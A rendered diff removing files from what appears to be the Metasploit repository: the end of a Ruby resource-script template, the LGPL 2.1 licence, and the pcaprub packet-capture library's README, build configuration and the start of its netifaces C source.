||||
def init_db(username, password, workspace)
|
||||
db = "localhost:5432"
|
||||
print_status("Opening #{workspace} at #{db}")
|
||||
run_single("db_connect #{username}:#{password}@#{db}/#{workspace}")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Initialize the argumets here
|
||||
#
|
||||
def init_args
|
||||
args = {}
|
||||
|
||||
joint = ARGV.join('')
|
||||
if joint =~ /^help$/i
|
||||
args[:help] = true
|
||||
return args
|
||||
end
|
||||
|
||||
# Add more arguments according to your help() function
|
||||
datastore = framework.datastore
|
||||
args[:db_user] = ARGV.shift || datastore['DB_USER'] || ''
|
||||
args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || ''
|
||||
args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || ''
|
||||
args[:arg1] = ARGV.shift || datastore['ARG1'] || ''
|
||||
|
||||
if not is_db_active?
|
||||
if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty?
|
||||
raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE"
|
||||
end
|
||||
end
|
||||
|
||||
raise ArgumentError, "Need ARG1" if args[:arg1].empty?
|
||||
|
||||
return args
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This is your main function
|
||||
#
|
||||
def main(args)
|
||||
print_status("Initialzation is done, and here's your input: #{args[:arg1]}")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Below initializes the arguments and database
|
||||
#
|
||||
begin
|
||||
args = init_args
|
||||
if args[:help]
|
||||
help
|
||||
return
|
||||
end
|
||||
|
||||
init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active?
|
||||
main(args)
|
||||
|
||||
rescue ArgumentError => e
|
||||
print_error("Bad argument(s): #{e.message}")
|
||||
return
|
||||
|
||||
rescue RuntimeError => e
|
||||
# Any runtime error should be raised as "RuntimeError"
|
||||
print_error(e.message)
|
||||
return
|
||||
|
||||
rescue ::Exception => e
|
||||
# Whatever unknown exception occurs, we raise it
|
||||
raise e
|
||||
end
|
||||
|
||||
</ruby>
|
|
@ -1,459 +0,0 @@
|
|||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 2.1, February 1999
|
||||
|
||||
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
|
||||
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
[This is the first released version of the Lesser GPL. It also counts
|
||||
as the successor of the GNU Library Public License, version 2, hence
|
||||
the version number 2.1.]
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
Licenses are intended to guarantee your freedom to share and change
|
||||
free software--to make sure the software is free for all its users.
|
||||
|
||||
This license, the Lesser General Public License, applies to some
|
||||
specially designated software packages--typically libraries--of the
|
||||
Free Software Foundation and other authors who decide to use it. You
|
||||
can use it too, but we suggest you first think carefully about whether
|
||||
this license or the ordinary General Public License is the better
|
||||
strategy to use in any particular case, based on the explanations below.
|
||||
|
||||
When we speak of free software, we are referring to freedom of use,
|
||||
not price. Our General Public Licenses are designed to make sure that
|
||||
you have the freedom to distribute copies of free software (and charge
|
||||
for this service if you wish); that you receive source code or can get
|
||||
it if you want it; that you can change the software and use pieces of
|
||||
it in new free programs; and that you are informed that you can do
|
||||
these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
distributors to deny you these rights or to ask you to surrender these
|
||||
rights. These restrictions translate to certain responsibilities for
|
||||
you if you distribute copies of the library or if you modify it.
|
||||
|
||||
For example, if you distribute copies of the library, whether gratis
|
||||
or for a fee, you must give the recipients all the rights that we gave
|
||||
you. You must make sure that they, too, receive or can get the source
|
||||
code. If you link other code with the library, you must provide
|
||||
complete object files to the recipients, so that they can relink them
|
||||
with the library after making changes to the library and recompiling
|
||||
it. And you must show them these terms so they know their rights.
|
||||
|
||||
We protect your rights with a two-step method: (1) we copyright the
|
||||
library, and (2) we offer you this license, which gives you legal
|
||||
permission to copy, distribute and/or modify the library.
|
||||
|
||||
To protect each distributor, we want to make it very clear that
|
||||
there is no warranty for the free library. Also, if the library is
|
||||
modified by someone else and passed on, the recipients should know
|
||||
that what they have is not the original version, so that the original
|
||||
author's reputation will not be affected by problems that might be
|
||||
introduced by others.
|
||||
|
||||
Finally, software patents pose a constant threat to the existence of
|
||||
any free program. We wish to make sure that a company cannot
|
||||
effectively restrict the users of a free program by obtaining a
|
||||
restrictive license from a patent holder. Therefore, we insist that
|
||||
any patent license obtained for a version of the library must be
|
||||
consistent with the full freedom of use specified in this license.
|
||||
|
||||
Most GNU software, including some libraries, is covered by the
|
||||
ordinary GNU General Public License. This license, the GNU Lesser
|
||||
General Public License, applies to certain designated libraries, and
|
||||
is quite different from the ordinary General Public License. We use
|
||||
this license for certain libraries in order to permit linking those
|
||||
libraries into non-free programs.
|
||||
|
||||
When a program is linked with a library, whether statically or using
|
||||
a shared library, the combination of the two is legally speaking a
|
||||
combined work, a derivative of the original library. The ordinary
|
||||
General Public License therefore permits such linking only if the
|
||||
entire combination fits its criteria of freedom. The Lesser General
|
||||
Public License permits more lax criteria for linking other code with
|
||||
the library.
|
||||
|
||||
We call this license the "Lesser" General Public License because it
|
||||
does Less to protect the user's freedom than the ordinary General
|
||||
Public License. It also provides other free software developers Less
|
||||
of an advantage over competing non-free programs. These disadvantages
|
||||
are the reason we use the ordinary General Public License for many
|
||||
libraries. However, the Lesser license provides advantages in certain
|
||||
special circumstances.
|
||||
|
||||
For example, on rare occasions, there may be a special need to
|
||||
encourage the widest possible use of a certain library, so that it becomes
|
||||
a de-facto standard. To achieve this, non-free programs must be
|
||||
allowed to use the library. A more frequent case is that a free
|
||||
library does the same job as widely used non-free libraries. In this
|
||||
case, there is little to gain by limiting the free library to free
|
||||
software only, so we use the Lesser General Public License.
|
||||
|
||||
In other cases, permission to use a particular library in non-free
|
||||
programs enables a greater number of people to use a large body of
|
||||
free software. For example, permission to use the GNU C Library in
|
||||
non-free programs enables many more people to use the whole GNU
|
||||
operating system, as well as its variant, the GNU/Linux operating
|
||||
system.
|
||||
|
||||
Although the Lesser General Public License is Less protective of the
|
||||
users' freedom, it does ensure that the user of a program that is
|
||||
linked with the Library has the freedom and the wherewithal to run
|
||||
that program using a modified version of the Library.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow. Pay close attention to the difference between a
|
||||
"work based on the library" and a "work that uses the library". The
|
||||
former contains code derived from the library, whereas the latter must
|
||||
be combined with the library in order to run.
|
||||
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License Agreement applies to any software library or other
|
||||
program which contains a notice placed by the copyright holder or
|
||||
other authorized party saying it may be distributed under the terms of
|
||||
this Lesser General Public License (also called "this License").
|
||||
Each licensee is addressed as "you".
|
||||
|
||||
A "library" means a collection of software functions and/or data
|
||||
prepared so as to be conveniently linked with application programs
|
||||
(which use some of those functions and data) to form executables.
|
||||
|
||||
The "Library", below, refers to any such software library or work
|
||||
which has been distributed under these terms. A "work based on the
|
||||
Library" means either the Library or any derivative work under
|
||||
copyright law: that is to say, a work containing the Library or a
|
||||
portion of it, either verbatim or with modifications and/or translated
|
||||
straightforwardly into another language. (Hereinafter, translation is
|
||||
included without limitation in the term "modification".)
|
||||
|
||||
"Source code" for a work means the preferred form of the work for
|
||||
making modifications to it. For a library, complete source code means
|
||||
all the source code for all modules it contains, plus any associated
|
||||
interface definition files, plus the scripts used to control compilation
|
||||
and installation of the library.
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running a program using the Library is not restricted, and output from
|
||||
such a program is covered only if its contents constitute a work based
|
||||
on the Library (independent of the use of the Library in a tool for
|
||||
writing it). Whether that is true depends on what the Library does
|
||||
and what the program that uses the Library does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Library's
|
||||
complete source code as you receive it, in any medium, provided that
|
||||
you conspicuously and appropriately publish on each copy an
|
||||
appropriate copyright notice and disclaimer of warranty; keep intact
|
||||
all the notices that refer to this License and to the absence of any
|
||||
warranty; and distribute a copy of this License along with the
|
||||
Library.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy,
|
||||
and you may at your option offer warranty protection in exchange for a
|
||||
fee.
|
||||
|
||||
2. You may modify your copy or copies of the Library or any portion
|
||||
of it, thus forming a work based on the Library, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) The modified work must itself be a software library.
|
||||
|
||||
b) You must cause the files modified to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
c) You must cause the whole of the work to be licensed at no
|
||||
charge to all third parties under the terms of this License.
|
||||
|
||||
d) If a facility in the modified Library refers to a function or a
|
||||
table of data to be supplied by an application program that uses
|
||||
the facility, other than as an argument passed when the facility
|
||||
is invoked, then you must make a good faith effort to ensure that,
|
||||
in the event an application does not supply such function or
|
||||
table, the facility still operates, and performs whatever part of
|
||||
its purpose remains meaningful.
|
||||
|
||||
(For example, a function in a library to compute square roots has
|
||||
a purpose that is entirely well-defined independent of the
|
||||
application. Therefore, Subsection 2d requires that any
|
||||
application-supplied function or table used by this function must
|
||||
be optional: if the application does not supply it, the square
|
||||
root function must still compute square roots.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Library,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Library, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote
|
||||
it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Library.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Library
|
||||
with the Library (or with a work based on the Library) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may opt to apply the terms of the ordinary GNU General Public
|
||||
License instead of this License to a given copy of the Library. To do
|
||||
this, you must alter all the notices that refer to this License, so
|
||||
that they refer to the ordinary GNU General Public License, version 2,
|
||||
instead of to this License. (If a newer version than version 2 of the
|
||||
ordinary GNU General Public License has appeared, then you can specify
|
||||
that version instead if you wish.) Do not make any other change in
|
||||
these notices.
|
||||
|
||||
Once this change is made in a given copy, it is irreversible for
|
||||
that copy, so the ordinary GNU General Public License applies to all
|
||||
subsequent copies and derivative works made from that copy.
|
||||
|
||||
This option is useful when you wish to copy part of the code of
|
||||
the Library into a program that is not a library.
|
||||
|
||||
4. You may copy and distribute the Library (or a portion or
|
||||
derivative of it, under Section 2) in object code or executable form
|
||||
under the terms of Sections 1 and 2 above provided that you accompany
|
||||
it with the complete corresponding machine-readable source code, which
|
||||
must be distributed under the terms of Sections 1 and 2 above on a
|
||||
medium customarily used for software interchange.
|
||||
|
||||
If distribution of object code is made by offering access to copy
|
||||
from a designated place, then offering equivalent access to copy the
|
||||
source code from the same place satisfies the requirement to
|
||||
distribute the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
5. A program that contains no derivative of any portion of the
|
||||
Library, but is designed to work with the Library by being compiled or
|
||||
linked with it, is called a "work that uses the Library". Such a
|
||||
work, in isolation, is not a derivative work of the Library, and
|
||||
therefore falls outside the scope of this License.
|
||||
|
||||
However, linking a "work that uses the Library" with the Library
|
||||
creates an executable that is a derivative of the Library (because it
|
||||
contains portions of the Library), rather than a "work that uses the
|
||||
library". The executable is therefore covered by this License.
|
||||
Section 6 states terms for distribution of such executables.
|
||||
|
||||
When a "work that uses the Library" uses material from a header file
|
||||
that is part of the Library, the object code for the work may be a
|
||||
derivative work of the Library even though the source code is not.
|
||||
Whether this is true is especially significant if the work can be
|
||||
linked without the Library, or if the work is itself a library. The
|
||||
threshold for this to be true is not precisely defined by law.
|
||||
|
||||
If such an object file uses only numerical parameters, data
|
||||
structure layouts and accessors, and small macros and small inline
|
||||
functions (ten lines or less in length), then the use of the object
|
||||
file is unrestricted, regardless of whether it is legally a derivative
|
||||
work. (Executables containing this object code plus portions of the
|
||||
Library will still fall under Section 6.)
|
||||
|
||||
Otherwise, if the work is a derivative of the Library, you may
|
||||
distribute the object code for the work under the terms of Section 6.
|
||||
Any executables containing that work also fall under Section 6,
|
||||
whether or not they are linked directly with the Library itself.
|
||||
|
||||
6. As an exception to the Sections above, you may also combine or
|
||||
link a "work that uses the Library" with the Library to produce a
|
||||
work containing portions of the Library, and distribute that work
|
||||
under terms of your choice, provided that the terms permit
|
||||
modification of the work for the customer's own use and reverse
|
||||
engineering for debugging such modifications.
|
||||
|
||||
You must give prominent notice with each copy of the work that the
|
||||
Library is used in it and that the Library and its use are covered by
|
||||
this License. You must supply a copy of this License. If the work
|
||||
during execution displays copyright notices, you must include the
|
||||
copyright notice for the Library among them, as well as a reference
|
||||
directing the user to the copy of this License. Also, you must do one
|
||||
of these things:
|
||||
|
||||
a) Accompany the work with the complete corresponding
|
||||
machine-readable source code for the Library including whatever
|
||||
changes were used in the work (which must be distributed under
|
||||
Sections 1 and 2 above); and, if the work is an executable linked
|
||||
with the Library, with the complete machine-readable "work that
|
||||
uses the Library", as object code and/or source code, so that the
|
||||
user can modify the Library and then relink to produce a modified
|
||||
executable containing the modified Library. (It is understood
|
||||
that the user who changes the contents of definitions files in the
|
||||
Library will not necessarily be able to recompile the application
|
||||
to use the modified definitions.)
|
||||
|
||||
b) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (1) uses at run time a
|
||||
copy of the library already present on the user's computer system,
|
||||
rather than copying library functions into the executable, and (2)
|
||||
will operate properly with a modified version of the library, if
|
||||
the user installs one, as long as the modified version is
|
||||
interface-compatible with the version that the work was made with.
|
||||
|
||||
c) Accompany the work with a written offer, valid for at
|
||||
least three years, to give the same user the materials
|
||||
specified in Subsection 6a, above, for a charge no more
|
||||
than the cost of performing this distribution.
|
||||
|
||||
d) If distribution of the work is made by offering access to copy
|
||||
from a designated place, offer equivalent access to copy the above
|
||||
specified materials from the same place.
|
||||
|
||||
e) Verify that the user has already received a copy of these
|
||||
materials or that you have already sent this user a copy.
|
||||
|
||||
For an executable, the required form of the "work that uses the
|
||||
Library" must include any data and utility programs needed for
|
||||
reproducing the executable from it. However, as a special exception,
|
||||
the materials to be distributed need not include anything that is
|
||||
normally distributed (in either source or binary form) with the major
|
||||
components (compiler, kernel, and so on) of the operating system on
|
||||
which the executable runs, unless that component itself accompanies
|
||||
the executable.
|
||||
|
||||
It may happen that this requirement contradicts the license
|
||||
restrictions of other proprietary libraries that do not normally
|
||||
accompany the operating system. Such a contradiction means you cannot
|
||||
use both them and the Library together in an executable that you
|
||||
distribute.
|
||||
|
||||
7. You may place library facilities that are a work based on the
|
||||
Library side-by-side in a single library together with other library
|
||||
facilities not covered by this License, and distribute such a combined
|
||||
library, provided that the separate distribution of the work based on
|
||||
the Library and of the other library facilities is otherwise
|
||||
permitted, and provided that you do these two things:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work
|
||||
based on the Library, uncombined with any other library
|
||||
facilities. This must be distributed under the terms of the
|
||||
Sections above.
|
||||
|
||||
b) Give prominent notice with the combined library of the fact
|
||||
that part of it is a work based on the Library, and explaining
|
||||
where to find the accompanying uncombined form of the same work.
|
||||
|
||||
8. You may not copy, modify, sublicense, link with, or distribute
|
||||
the Library except as expressly provided under this License. Any
|
||||
attempt otherwise to copy, modify, sublicense, link with, or
|
||||
distribute the Library is void, and will automatically terminate your
|
||||
rights under this License. However, parties who have received copies,
|
||||
or rights, from you under this License will not have their licenses
|
||||
terminated so long as such parties remain in full compliance.
|
||||
|
||||
9. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Library or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Library (or any work based on the
|
||||
Library), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Library or works based on it.
|
||||
|
||||
10. Each time you redistribute the Library (or any work based on the
|
||||
Library), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute, link with or modify the Library
|
||||
subject to these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties with
|
||||
this License.
|
||||
|
||||
11. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Library at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Library by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Library.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under any
|
||||
particular circumstance, the balance of the section is intended to apply,
|
||||
and the section as a whole is intended to apply in other circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
12. If the distribution and/or use of the Library is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Library under this License may add
|
||||
an explicit geographical distribution limitation excluding those countries,
|
||||
so that distribution is permitted only in or among countries not thus
|
||||
excluded. In such case, this License incorporates the limitation as if
|
||||
written in the body of this License.
|
||||
|
||||
13. The Free Software Foundation may publish revised and/or new
|
||||
versions of the Lesser General Public License from time to time.
|
||||
Such new versions will be similar in spirit to the present version,
|
||||
but may differ in detail to address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Library
|
||||
specifies a version number of this License which applies to it and
|
||||
"any later version", you have the option of following the terms and
|
||||
conditions either of that version or of any later version published by
|
||||
the Free Software Foundation. If the Library does not specify a
|
||||
license version number, you may choose any version ever published by
|
||||
the Free Software Foundation.
|
||||
|
||||
14. If you wish to incorporate parts of the Library into other free
|
||||
programs whose distribution conditions are incompatible with these,
|
||||
write to the author to ask for permission. For software which is
|
||||
copyrighted by the Free Software Foundation, write to the Free
|
||||
Software Foundation; we sometimes make exceptions for this. Our
|
||||
decision will be guided by the two goals of preserving the free status
|
||||
of all derivatives of our free software and of promoting the sharing
|
||||
and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
|
||||
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
|
||||
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
|
||||
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
|
||||
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
|
||||
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
|
||||
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
|
||||
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
|
||||
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
|
||||
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
|
||||
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
|
||||
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
|
||||
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
|
||||
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
|
||||
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
|
||||
DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
|
@ -1,43 +0,0 @@
|
|||
This goal of this project is to provide a consistent interface to LBL's libpcap
|
||||
packet capture library. This project was created because the currently
|
||||
available ruby-pcap library is poorly designed and has been unmaintained since
|
||||
2000. This does not provide packet processing functionality, it simply provides
|
||||
the interface for capturing packets. For packet processing capability, see the
|
||||
PacketRub project (http://packetrub.rubyforge.org).
|
||||
|
||||
Requirements:
|
||||
libpcap - http://www.tcpdump.org
|
||||
|
||||
Build & Install:
|
||||
ruby extconf.rb && make && make install
|
||||
|
||||
The latest version can be obtained from Subversion:
|
||||
svn checkout http://pcaprub.rubyforge.org/svn/trunk/
|
||||
|
||||
The Metasploit Project also provides a Subversion repository:
|
||||
svn checkout http://metasploit.com/svn/framework3/trunk/external/pcaprub/
|
||||
|
||||
The Metasploit Project also added some code from the python netifaces c extension
|
||||
|
||||
Original c/python netifaces code is under MIT-style license.
|
||||
Here goes:
|
||||
|
||||
Copyright (c) 2007, 2008 Alastair Houghton
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
|
@ -1,117 +0,0 @@
|
|||
require 'mkmf'
|
||||
|
||||
puts("platform is #{RUBY_PLATFORM}")
|
||||
|
||||
########################
|
||||
# Netifaces
|
||||
########################
|
||||
puts "\n[*] Running checks for netifaces code added by metasploit project"
|
||||
puts "-----------------------------------------------------------------"
|
||||
#uncoment to force ioctl on non windows systems
|
||||
#@force_ioctl = true
|
||||
@supported_archs = [ "i386-mingw32", "i486-linux", "x86_64-linux",
|
||||
"universal-darwin10.0", "i386-openbsd4.8", "i386-freebsd8",
|
||||
"arm-linux-eabi" ]
|
||||
#arm-linux-eabi tested on maemo5 / N900
|
||||
puts "[*] Warning : this platform as not been tested" unless @supported_archs.include? RUBY_PLATFORM
|
||||
|
||||
if RUBY_PLATFORM =~ /i386-mingw32/
|
||||
unless have_library("ws2_32" ) and
|
||||
have_library("iphlpapi") and
|
||||
have_header("windows.h") and
|
||||
have_header("winsock2.h") and
|
||||
have_header("iphlpapi.h")
|
||||
puts "\nNot all dependencies are satisfied, please check logs"
|
||||
exit
|
||||
end
|
||||
|
||||
|
||||
else
|
||||
headers = ['net/if_dl.h', 'netash/ash.h','netatalk/at.h', 'netax25/ax25.h',
|
||||
'neteconet/ec.h', 'netipx/ipx.h','netpacket/packet.h', 'netrose/rose.h']
|
||||
if RUBY_PLATFORM =~ /linux/
|
||||
headers += [ 'linux/irda.h', 'linux/atm.h',
|
||||
'linux/llc.h', 'linux/tipc.h',
|
||||
'linux/dn.h']
|
||||
end
|
||||
additionnal_headers = ["sys/types.h","sys/socket.h","sys/un.h","net/if.h","netinet/in.h"]
|
||||
optional_headers = []
|
||||
sockaddrs = [ 'at', 'ax25', 'dl', 'eon', 'in', 'in6',
|
||||
'inarp', 'ipx', 'iso', 'ns', 'un', 'x25',
|
||||
'rose', 'ash', 'ec', 'll', 'atmpvc', 'atmsvc',
|
||||
'dn', 'irda', 'llc']
|
||||
|
||||
# 1) Check for getifaddrs
|
||||
unless @force_ioctl
|
||||
need_ioctl = !(have_func("getifaddrs"))
|
||||
end
|
||||
|
||||
# 2) Check for getnameinfo or redefine it in netifaces.c
|
||||
have_func("getnameinfo")
|
||||
|
||||
# 3) Whitout getifaddrs we'll have to deal with ioctls
|
||||
if need_ioctl or @force_ioctl
|
||||
ioctls = [
|
||||
'SIOCGIFCONF','SIOCGSIZIFCONF','SIOCGIFHWADDR','SIOCGIFADDR','SIOCGIFFLAGS','SIOCGIFDSTADDR',
|
||||
'SIOCGIFBRDADDR','SIOCGIFNETMASK','SIOCGLIFNUM','SIOCGLIFCONF','SIOCGLIFFLAGS']
|
||||
ioctls_headers = ['sys/types.h','sys/socket.h','sys/ioctl.h','net/if.h','netinet/in.h','arpa/inet.h']
|
||||
#TODO Test this on sunos
|
||||
#if RUBY_PLATFORM =~ /sunos/
|
||||
# ioctls_headers += ['unistd.h','stropts.h','sys/sockio.h']
|
||||
#end
|
||||
$defs.push '-DHAVE_SOCKET_IOCTLS'
|
||||
ioctls.each do |ioctl|
|
||||
if have_macro(ioctl, ioctls_headers)
|
||||
$defs.push "-DHAVE_#{ioctl}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# 4) Check for optionnal headers
|
||||
headers.each do |header|
|
||||
if have_header(header)
|
||||
optional_headers.push(header)
|
||||
end
|
||||
end
|
||||
|
||||
# 5) On certain platforms (Linux), there's no sa_len.
|
||||
# Unfortunately, getifaddrs() doesn't return the
|
||||
# lengths, because they're in the sa_len field on just about
|
||||
# everything but Linux.
|
||||
# In this case we will define a macro that will return the sa_len from
|
||||
# the sockaddr_xx structure if they are available
|
||||
if (!have_struct_member("struct sockaddr", "sa_len", ["sys/types.h","sys/socket.h","net/if.h"]))
|
||||
sockaddrs.each do |sockaddr|
|
||||
have_type("struct sockaddr_" + sockaddr, additionnal_headers + optional_headers)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#rework the defs to make them compatible with the original netifaces.c code
|
||||
$defs = $defs.map do |a|
|
||||
if a =~ /^-DHAVE_TYPE_STRUCT_SOCKADDR_.*$/ then a.gsub("TYPE_STRUCT_","")
|
||||
elsif a == "-DHAVE_ST_SA_LEN" then a.gsub("HAVE_ST_","HAVE_SOCKADDR_")
|
||||
else a
|
||||
end
|
||||
end
|
||||
|
||||
########################
|
||||
# Pcap
|
||||
########################
|
||||
|
||||
puts "\n[*] Running checks for pcap code..."
|
||||
puts "-----------------------------------"
|
||||
if /i386-mingw32/ =~ RUBY_PLATFORM
|
||||
dir_config("pcap","C:/WpdPack/include","C:/WpdPack/lib")
|
||||
have_library("wpcap", "pcap_open_live")
|
||||
have_library("wpcap", "pcap_setnonblock")
|
||||
else
|
||||
have_library("pcap", "pcap_open_live")
|
||||
have_library("pcap", "pcap_setnonblock")
|
||||
end
|
||||
|
||||
if ( RUBY_VERSION =~ /^1\.9/ )
|
||||
$CFLAGS += " -DRUBY_19"
|
||||
end
|
||||
|
||||
create_makefile("pcaprub")
|
|
@ -1,816 +0,0 @@
|
|||
#include "ruby.h"
|
||||
|
||||
#ifndef RUBY_19
|
||||
#include "rubysig.h"
|
||||
#endif
|
||||
|
||||
#include "netifaces.h"
|
||||
|
||||
#if !defined(WIN32)
|
||||
#if !HAVE_GETNAMEINFO
|
||||
#undef getnameinfo
|
||||
#undef NI_NUMERICHOST
|
||||
|
||||
#define getnameinfo our_getnameinfo
|
||||
#define NI_NUMERICHOST 1
|
||||
|
||||
/* A very simple getnameinfo() for platforms without */
|
||||
static int
|
||||
getnameinfo (const struct sockaddr *addr, int addr_len,
|
||||
char *buffer, int buflen,
|
||||
char *buf2, int buf2len,
|
||||
int flags)
|
||||
{
|
||||
switch (addr->sa_family)
|
||||
{
|
||||
case AF_INET:
|
||||
{
|
||||
const struct sockaddr_in *sin = (struct sockaddr_in *)addr;
|
||||
const unsigned char *bytes = (unsigned char *)&sin->sin_addr.s_addr;
|
||||
char tmpbuf[20];
|
||||
|
||||
sprintf (tmpbuf, "%d.%d.%d.%d",
|
||||
bytes[0], bytes[1], bytes[2], bytes[3]);
|
||||
|
||||
strncpy (buffer, tmpbuf, buflen);
|
||||
}
|
||||
break;
|
||||
#ifdef AF_INET6
|
||||
case AF_INET6:
|
||||
{
|
||||
const struct sockaddr_in6 *sin = (const struct sockaddr_in6 *)addr;
|
||||
const unsigned char *bytes = sin->sin6_addr.s6_addr;
|
||||
